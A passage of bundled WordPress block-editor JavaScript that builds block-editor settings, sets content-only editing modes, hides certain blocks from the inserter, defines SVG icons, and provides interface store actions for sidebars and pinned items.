  const blockPatterns = (0,external_wp_element_namespaceObject.useMemo)(() => [...(settingsBlockPatterns || [])].filter(({
    postTypes
  }) => {
    return !postTypes || Array.isArray(postTypes) && postTypes.includes(postType);
  }), [settingsBlockPatterns, postType]);
  const blockPatternCategories = (0,external_wp_element_namespaceObject.useMemo)(() => [...(settingsBlockPatternCategories || []), ...(restBlockPatternCategories || [])].filter((x, index, arr) => index === arr.findIndex(y => x.name === y.name)), [settingsBlockPatternCategories, restBlockPatternCategories]);
  const {
    undo,
    setIsInserterOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    saveEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);

  /**
   * Creates a Post entity.
   * This is utilised by the Link UI to allow for on-the-fly creation of Posts/Pages.
   *
   * @param {Object} options parameters for the post being created. These mirror those used on 3rd param of saveEntityRecord.
   * @return {Object} the post type object that was created.
   */
  const createPageEntity = (0,external_wp_element_namespaceObject.useCallback)(options => {
    if (!userCanCreatePages) {
      return Promise.reject({
        message: (0,external_wp_i18n_namespaceObject.__)('You do not have permission to create Pages.')
      });
    }
    return saveEntityRecord('postType', 'page', options);
  }, [saveEntityRecord, userCanCreatePages]);
  const allowedBlockTypes = (0,external_wp_element_namespaceObject.useMemo)(() => {
    // Omit hidden block types if exists and non-empty.
    if (hiddenBlockTypes && hiddenBlockTypes.length > 0) {
      // Defer to passed setting for `allowedBlockTypes` if provided as
      // anything other than `true` (where `true` is equivalent to allow
      // all block types).
      const defaultAllowedBlockTypes = true === settings.allowedBlockTypes ? blockTypes.map(({
        name
      }) => name) : settings.allowedBlockTypes || [];
      return defaultAllowedBlockTypes.filter(type => !hiddenBlockTypes.includes(type));
    }
    return settings.allowedBlockTypes;
  }, [settings.allowedBlockTypes, hiddenBlockTypes, blockTypes]);
  const forceDisableFocusMode = settings.focusMode === false;
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    const blockEditorSettings = {
      ...Object.fromEntries(Object.entries(settings).filter(([key]) => BLOCK_EDITOR_SETTINGS.includes(key))),
      [globalStylesDataKey]: globalStylesData,
      [globalStylesLinksDataKey]: globalStylesLinksData,
      allowedBlockTypes,
      allowRightClickOverrides,
      focusMode: focusMode && !forceDisableFocusMode,
      hasFixedToolbar,
      isDistractionFree,
      keepCaretInsideBlock,
      mediaUpload: hasUploadPermissions ? mediaUpload : undefined,
      mediaSideload: hasUploadPermissions ? media_sideload : undefined,
      __experimentalBlockPatterns: blockPatterns,
      [selectBlockPatternsKey]: select => {
        const {
          hasFinishedResolution,
          getBlockPatternsForPostType
        } = unlock(select(external_wp_coreData_namespaceObject.store));
        const patterns = getBlockPatternsForPostType(postType);
        return hasFinishedResolution('getBlockPatterns') ? patterns : undefined;
      },
      [reusableBlocksSelectKey]: __experimentalReusableBlocksSelect,
      __experimentalBlockPatternCategories: blockPatternCategories,
      __experimentalUserPatternCategories: userPatternCategories,
      __experimentalFetchLinkSuggestions: (search, searchOptions) => (0,external_wp_coreData_namespaceObject.__experimentalFetchLinkSuggestions)(search, searchOptions, settings),
      inserterMediaCategories: media_categories,
      __experimentalFetchRichUrlData: external_wp_coreData_namespaceObject.__experimentalFetchUrlData,
      // Todo: This only checks the top level post, not the post within a template or any other entity that can be edited.
      // This might be better as a generic "canUser" selector.
      __experimentalCanUserUseUnfilteredHTML: canUseUnfilteredHTML,
      //Todo: this is only needed for native and should probably be removed.
      __experimentalUndo: undo,
      // Check whether we want all site editor frames to have outlines
      // including the navigation / pattern / parts editors.
      outlineMode: !isDistractionFree && postType === 'wp_template',
      // Check these two properties: they were not present in the site editor.
      __experimentalCreatePageEntity: createPageEntity,
      __experimentalUserCanCreatePages: userCanCreatePages,
      pageOnFront,
      pageForPosts,
      __experimentalPreferPatternsOnRoot: postType === 'wp_template',
      templateLock: postType === 'wp_navigation' ? 'insert' : settings.templateLock,
      template: postType === 'wp_navigation' ? [['core/navigation', {}, []]] : settings.template,
      __experimentalSetIsInserterOpened: setIsInserterOpened,
      [sectionRootClientIdKey]: sectionRootClientId,
      editorTool: renderingMode === 'post-only' && postType !== 'wp_template' ? 'edit' : undefined
    };
    return blockEditorSettings;
  }, [allowedBlockTypes, allowRightClickOverrides, focusMode, forceDisableFocusMode, hasFixedToolbar, isDistractionFree, keepCaretInsideBlock, settings, hasUploadPermissions, userPatternCategories, blockPatterns, blockPatternCategories, canUseUnfilteredHTML, undo, createPageEntity, userCanCreatePages, pageOnFront, pageForPosts, postType, setIsInserterOpened, sectionRootClientId, globalStylesData, globalStylesLinksData, renderingMode]);
}
/* harmony default export */ const use_block_editor_settings = (useBlockEditorSettings);

;// ./node_modules/@wordpress/editor/build-module/components/provider/use-post-content-blocks.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


const POST_CONTENT_BLOCK_TYPES = ['core/post-title', 'core/post-featured-image', 'core/post-content'];
function usePostContentBlocks() {
  const contentOnlyBlockTypes = (0,external_wp_element_namespaceObject.useMemo)(() => [...(0,external_wp_hooks_namespaceObject.applyFilters)('editor.postContentBlockTypes', POST_CONTENT_BLOCK_TYPES)], []);

  // Note that there are two separate subscriptions because the result for each
  // returns a new array.
  const contentOnlyIds = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getPostBlocksByName
    } = unlock(select(store_store));
    return getPostBlocksByName(contentOnlyBlockTypes);
  }, [contentOnlyBlockTypes]);
  return contentOnlyIds;
}

;// ./node_modules/@wordpress/editor/build-module/components/provider/disable-non-page-content-blocks.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/**
 * Component that when rendered, makes it so that the site editor allows only
 * page content to be edited.
 */
function DisableNonPageContentBlocks() {
  const contentOnlyIds = usePostContentBlocks();
  const {
    templateParts,
    isNavigationMode
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getBlocksByName,
      isNavigationMode: _isNavigationMode
    } = select(external_wp_blockEditor_namespaceObject.store);
    return {
      templateParts: getBlocksByName('core/template-part'),
      isNavigationMode: _isNavigationMode()
    };
  }, []);
  const disabledIds = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getBlockOrder
    } = select(external_wp_blockEditor_namespaceObject.store);
    return templateParts.flatMap(clientId => getBlockOrder(clientId));
  }, [templateParts]);
  const registry = (0,external_wp_data_namespaceObject.useRegistry)();

  // The code here is split into multiple `useEffects` calls.
  // This is done to avoid setting/unsetting block editing modes multiple times unnecessarily.
  //
  // For example, the block editing mode of the root block (clientId: '') only
  // needs to be set once, not when `contentOnlyIds` or `disabledIds` change.
  //
  // It's also unlikely that these different types of blocks are being inserted
  // or removed at the same time, so using different effects reflects that.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const {
      setBlockEditingMode,
      unsetBlockEditingMode
    } = registry.dispatch(external_wp_blockEditor_namespaceObject.store);
    setBlockEditingMode('', 'disabled');
    return () => {
      unsetBlockEditingMode('');
    };
  }, [registry]);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const {
      setBlockEditingMode,
      unsetBlockEditingMode
    } = registry.dispatch(external_wp_blockEditor_namespaceObject.store);
    registry.batch(() => {
      for (const clientId of contentOnlyIds) {
        setBlockEditingMode(clientId, 'contentOnly');
      }
    });
    return () => {
      registry.batch(() => {
        for (const clientId of contentOnlyIds) {
          unsetBlockEditingMode(clientId);
        }
      });
    };
  }, [contentOnlyIds, registry]);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const {
      setBlockEditingMode,
      unsetBlockEditingMode
    } = registry.dispatch(external_wp_blockEditor_namespaceObject.store);
    registry.batch(() => {
      if (!isNavigationMode) {
        for (const clientId of templateParts) {
          setBlockEditingMode(clientId, 'contentOnly');
        }
      }
    });
    return () => {
      registry.batch(() => {
        if (!isNavigationMode) {
          for (const clientId of templateParts) {
            unsetBlockEditingMode(clientId);
          }
        }
      });
    };
  }, [templateParts, isNavigationMode, registry]);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const {
      setBlockEditingMode,
      unsetBlockEditingMode
    } = registry.dispatch(external_wp_blockEditor_namespaceObject.store);
    registry.batch(() => {
      for (const clientId of disabledIds) {
        setBlockEditingMode(clientId, 'disabled');
      }
    });
    return () => {
      registry.batch(() => {
        for (const clientId of disabledIds) {
          unsetBlockEditingMode(clientId);
        }
      });
    };
  }, [disabledIds, registry]);
  return null;
}

;// ./node_modules/@wordpress/editor/build-module/components/provider/navigation-block-editing-mode.js
/**
 * WordPress dependencies
 */




/**
 * For the Navigation block editor, we need to force the block editor to contentOnly for that block.
 *
 * Set block editing mode to contentOnly when entering Navigation focus mode.
 * this ensures that non-content controls on the block will be hidden and thus
 * the user can focus on editing the Navigation Menu content only.
 */

function NavigationBlockEditingMode() {
  // In the navigation block editor,
  // the navigation block is the only root block.
  const blockClientId = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_blockEditor_namespaceObject.store).getBlockOrder()?.[0], []);
  const {
    setBlockEditingMode,
    unsetBlockEditingMode
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (!blockClientId) {
      return;
    }
    setBlockEditingMode(blockClientId, 'contentOnly');
    return () => {
      unsetBlockEditingMode(blockClientId);
    };
  }, [blockClientId, unsetBlockEditingMode, setBlockEditingMode]);
}

;// ./node_modules/@wordpress/editor/build-module/components/provider/use-hide-blocks-from-inserter.js
/**
 * WordPress dependencies
 */



// These post types are "structural" block lists.
// We should be allowed to use
// the post content and template parts blocks within them.
const POST_TYPES_ALLOWING_POST_CONTENT_TEMPLATE_PART = ['wp_block', 'wp_template', 'wp_template_part'];

/**
 * In some specific contexts,
 * the template part and post content blocks need to be hidden.
 *
 * @param {string} postType Post Type
 * @param {string} mode     Rendering mode
 */
function useHideBlocksFromInserter(postType, mode) {
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    /*
     * Prevent adding template part in the editor.
     */
    (0,external_wp_hooks_namespaceObject.addFilter)('blockEditor.__unstableCanInsertBlockType', 'removeTemplatePartsFromInserter', (canInsert, blockType) => {
      if (!POST_TYPES_ALLOWING_POST_CONTENT_TEMPLATE_PART.includes(postType) && blockType.name === 'core/template-part' && mode === 'post-only') {
        return false;
      }
      return canInsert;
    });

    /*
     * Prevent adding post content block (except in query block) in the editor.
     */
    (0,external_wp_hooks_namespaceObject.addFilter)('blockEditor.__unstableCanInsertBlockType', 'removePostContentFromInserter', (canInsert, blockType, rootClientId, {
      getBlockParentsByBlockName
    }) => {
      if (!POST_TYPES_ALLOWING_POST_CONTENT_TEMPLATE_PART.includes(postType) && blockType.name === 'core/post-content') {
        return getBlockParentsByBlockName(rootClientId, 'core/query').length > 0;
      }
      return canInsert;
    });
    return () => {
      (0,external_wp_hooks_namespaceObject.removeFilter)('blockEditor.__unstableCanInsertBlockType', 'removeTemplatePartsFromInserter');
      (0,external_wp_hooks_namespaceObject.removeFilter)('blockEditor.__unstableCanInsertBlockType', 'removePostContentFromInserter');
    };
  }, [postType, mode]);
}

;// ./node_modules/@wordpress/icons/build-module/library/keyboard.js
/**
 * WordPress dependencies
 */


const keyboard = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "m16 15.5h-8v-1.5h8zm-7.5-2.5h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm-9-3h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2z"
  }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "m18.5 6.5h-13a.5.5 0 0 0 -.5.5v9.5a.5.5 0 0 0 .5.5h13a.5.5 0 0 0 .5-.5v-9.5a.5.5 0 0 0 -.5-.5zm-13-1.5h13a2 2 0 0 1 2 2v9.5a2 2 0 0 1 -2 2h-13a2 2 0 0 1 -2-2v-9.5a2 2 0 0 1 2-2z"
  })]
});
/* harmony default export */ const library_keyboard = (keyboard);

;// ./node_modules/@wordpress/icons/build-module/library/list-view.js
/**
 * WordPress dependencies
 */


const listView = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M3 6h11v1.5H3V6Zm3.5 5.5h11V13h-11v-1.5ZM21 17H10v1.5h11V17Z"
  })
});
/* harmony default export */ const list_view = (listView);

;// ./node_modules/@wordpress/icons/build-module/library/code.js
/**
 * WordPress dependencies
 */


const code = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M20.8 10.7l-4.3-4.3-1.1 1.1 4.3 4.3c.1.1.1.3 0 .4l-4.3 4.3 1.1 1.1 4.3-4.3c.7-.8.7-1.9 0-2.6zM4.2 11.8l4.3-4.3-1-1-4.3 4.3c-.7.7-.7 1.8 0 2.5l4.3 4.3 1.1-1.1-4.3-4.3c-.2-.1-.2-.3-.1-.4z"
  })
});
/* harmony default export */ const library_code = (code);

;// ./node_modules/@wordpress/icons/build-module/library/drawer-left.js
/**
 * WordPress dependencies
 */


const drawerLeft = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  width: "24",
  height: "24",
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zM8.5 18.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h2.5v13zm10-.5c0 .3-.2.5-.5.5h-8v-13h8c.3 0 .5.2.5.5v12z"
  })
});
/* harmony default export */ const drawer_left = (drawerLeft);

;// ./node_modules/@wordpress/icons/build-module/library/drawer-right.js
/**
 * WordPress dependencies
 */


const drawerRight = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  width: "24",
  height: "24",
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4 14.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h8v13zm4.5-.5c0 .3-.2.5-.5.5h-2.5v-13H18c.3 0 .5.2.5.5v12z"
  })
});
/* harmony default export */ const drawer_right = (drawerRight);

;// ./node_modules/@wordpress/icons/build-module/library/block-default.js
/**
 * WordPress dependencies
 */


const blockDefault = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z"
  })
});
/* harmony default export */ const block_default = (blockDefault);

;// ./node_modules/@wordpress/icons/build-module/library/format-list-bullets.js
/**
 * WordPress dependencies
 */


const formatListBullets = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z"
  })
});
/* harmony default export */ const format_list_bullets = (formatListBullets);

;// ./node_modules/@wordpress/icons/build-module/library/pencil.js
/**
 * WordPress dependencies
 */


const pencil = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z"
  })
});
/* harmony default export */ const library_pencil = (pencil);

;// ./node_modules/@wordpress/icons/build-module/library/edit.js
/**
 * Internal dependencies
 */


/* harmony default export */ const library_edit = (library_pencil);

;// ./node_modules/@wordpress/icons/build-module/library/symbol.js
/**
 * WordPress dependencies
 */


const symbol = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"
  })
});
/* harmony default export */ const library_symbol = (symbol);

;// ./node_modules/@wordpress/icons/build-module/library/page.js
/**
 * WordPress dependencies
 */


const page = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z"
  }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z"
  })]
});
/* harmony default export */ const library_page = (page);

;// ./node_modules/@wordpress/icons/build-module/library/rotate-right.js
/**
 * WordPress dependencies
 */


const rotateRight = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z"
  })
});
/* harmony default export */ const rotate_right = (rotateRight);

;// ./node_modules/@wordpress/icons/build-module/library/rotate-left.js
/**
 * WordPress dependencies
 */


const rotateLeft = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M12 4V2.2L9 4.8l3 2.5V5.5c3.6 0 6.5 2.9 6.5 6.5 0 2.9-1.9 5.3-4.5 6.2v.2l-.1-.2c-.4.1-.7.2-1.1.2l.2 1.5c.3 0 .6-.1 1-.2 3.5-.9 6-4 6-7.7 0-4.4-3.6-8-8-8zm-7.9 7l1.5.2c.1-1.2.5-2.3 1.2-3.2l-1.1-.9C4.8 8.2 4.3 9.6 4.1 11zm1.5 1.8l-1.5.2c.1.7.3 1.4.5 2 .3.7.6 1.3 1 1.8l1.2-.8c-.3-.5-.6-1-.8-1.5s-.4-1.1-.4-1.7zm1.5 5.5c1.1.9 2.4 1.4 3.8 1.6l.2-1.5c-1.1-.1-2.2-.5-3.1-1.2l-.9 1.1z"
  })
});
/* harmony default export */ const rotate_left = (rotateLeft);

;// external ["wp","commands"]
const external_wp_commands_namespaceObject = window["wp"]["commands"];
;// ./node_modules/@wordpress/icons/build-module/library/star-filled.js
/**
 * WordPress dependencies
 */


const starFilled = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z"
  })
});
/* harmony default export */ const star_filled = (starFilled);

;// ./node_modules/@wordpress/icons/build-module/library/star-empty.js
/**
 * WordPress dependencies
 */


const starEmpty = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    d: "M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z",
    clipRule: "evenodd"
  })
});
/* harmony default export */ const star_empty = (starEmpty);

;// external ["wp","viewport"]
const external_wp_viewport_namespaceObject = window["wp"]["viewport"];
;// external ["wp","plugins"]
const external_wp_plugins_namespaceObject = window["wp"]["plugins"];
;// ./node_modules/@wordpress/interface/build-module/store/deprecated.js
/**
 * WordPress dependencies
 */

function normalizeComplementaryAreaScope(scope) {
  if (['core/edit-post', 'core/edit-site'].includes(scope)) {
    external_wp_deprecated_default()(`${scope} interface scope`, {
      alternative: 'core interface scope',
      hint: 'core/edit-post and core/edit-site are merging.',
      version: '6.6'
    });
    return 'core';
  }
  return scope;
}
function normalizeComplementaryAreaName(scope, name) {
  if (scope === 'core' && name === 'edit-site/template') {
    external_wp_deprecated_default()(`edit-site/template sidebar`, {
      alternative: 'edit-post/document',
      version: '6.6'
    });
    return 'edit-post/document';
  }
  if (scope === 'core' && name === 'edit-site/block-inspector') {
    external_wp_deprecated_default()(`edit-site/block-inspector sidebar`, {
      alternative: 'edit-post/block',
      version: '6.6'
    });
    return 'edit-post/block';
  }
  return name;
}

;// ./node_modules/@wordpress/interface/build-module/store/actions.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * Set a default complementary area.
 *
 * @param {string} scope Complementary area scope.
 * @param {string} area  Area identifier.
 *
 * @return {Object} Action object.
 */
const setDefaultComplementaryArea = (scope, area) => {
  scope = normalizeComplementaryAreaScope(scope);
  area = normalizeComplementaryAreaName(scope, area);
  return {
    type: 'SET_DEFAULT_COMPLEMENTARY_AREA',
    scope,
    area
  };
};

/**
 * Enable the complementary area.
 *
 * @param {string} scope Complementary area scope.
 * @param {string} area  Area identifier.
 */
const enableComplementaryArea = (scope, area) => ({
  registry,
  dispatch
}) => {
  // Return early if there's no area.
  if (!area) {
    return;
  }
  scope = normalizeComplementaryAreaScope(scope);
  area = normalizeComplementaryAreaName(scope, area);
  const isComplementaryAreaVisible = registry.select(external_wp_preferences_namespaceObject.store).get(scope, 'isComplementaryAreaVisible');
  if (!isComplementaryAreaVisible) {
    registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, 'isComplementaryAreaVisible', true);
  }
  dispatch({
    type: 'ENABLE_COMPLEMENTARY_AREA',
    scope,
    area
  });
};

/**
 * Disable the complementary area.
 *
 * @param {string} scope Complementary area scope.
 */
const disableComplementaryArea = scope => ({
  registry
}) => {
  scope = normalizeComplementaryAreaScope(scope);
  const isComplementaryAreaVisible = registry.select(external_wp_preferences_namespaceObject.store).get(scope, 'isComplementaryAreaVisible');
  if (isComplementaryAreaVisible) {
    registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, 'isComplementaryAreaVisible', false);
  }
};

/**
 * Pins an item.
 *
 * @param {string} scope Item scope.
 * @param {string} item  Item identifier.
 *
 * @return {Object} Action object.
 */
const pinItem = (scope, item) => ({
  registry
}) => {
  // Return early if there's no item.
  if (!item) {
    return;
  }
  scope = normalizeComplementaryAreaScope(scope);
  item = normalizeComplementaryAreaName(scope, item);
  const pinnedItems = registry.select(external_wp_preferences_namespaceObject.store).get(scope, 'pinnedItems');

  // The item is already pinned, there's nothing to do.
  if (pinnedItems?.[item] === true) {
    return;
  }
  registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, 'pinnedItems', {
    ...pinnedItems,
    [item]: true
  });
};

/**
 * Unpins an item.
 *
 * @param {string} scope Item scope.
 * @param {string} item  Item identifier.
 */
const unpinItem = (scope, item) => ({
  registry
}) => {
  // Return early if there's no item.
  if (!item) {
    return;
  }
  scope = normalizeComplementaryAreaScope(scope);
  item = normalizeComplementaryAreaName(scope, item);
  const pinnedItems = registry.select(external_wp_preferences_namespaceObject.store).get(scope, 'pinnedItems');
  registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, 'pinnedItems', {
    ...pinnedItems,
    [item]: false
  });
};

/**
 * Returns an action object used in signalling that a feature should be toggled.
 *
 * @param {string} scope       The feature scope (e.g. core/edit-post).
 * @param {string} featureName The feature name.
 */
function toggleFeature(scope, featureName) {
  return function ({
    registry
  }) {
    external_wp_deprecated_default()(`dispatch( 'core/interface' ).toggleFeature`, {
      since: '6.0',
      alternative: `dispatch( 'core/preferences' ).toggle`
    });
    registry.dispatch(external_wp_preferences_namespaceObject.store).toggle(scope, featureName);
  };
}

/**
 * Returns an action object used in signalling that a feature should be set to
 * a true or false value
 *
 * @param {string}  scope       The feature scope (e.g. core/edit-post).
 * @param {string}  featureName The feature name.
 * @param {boolean} value       The value to set.
 *
 * @return {Object} Action object.
 */
function setFeatureValue(scope, featureName, value) {
  return function ({
    registry
  }) {
    external_wp_deprecated_default()(`dispatch( 'core/interface' ).setFeatureValue`, {
      since: '6.0',
      alternative: `dispatch( 'core/preferences' ).set`
    });
    registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, featureName, !!value);
  };
}

/**
 * Returns an action object used in signalling that defaults should be set for features.
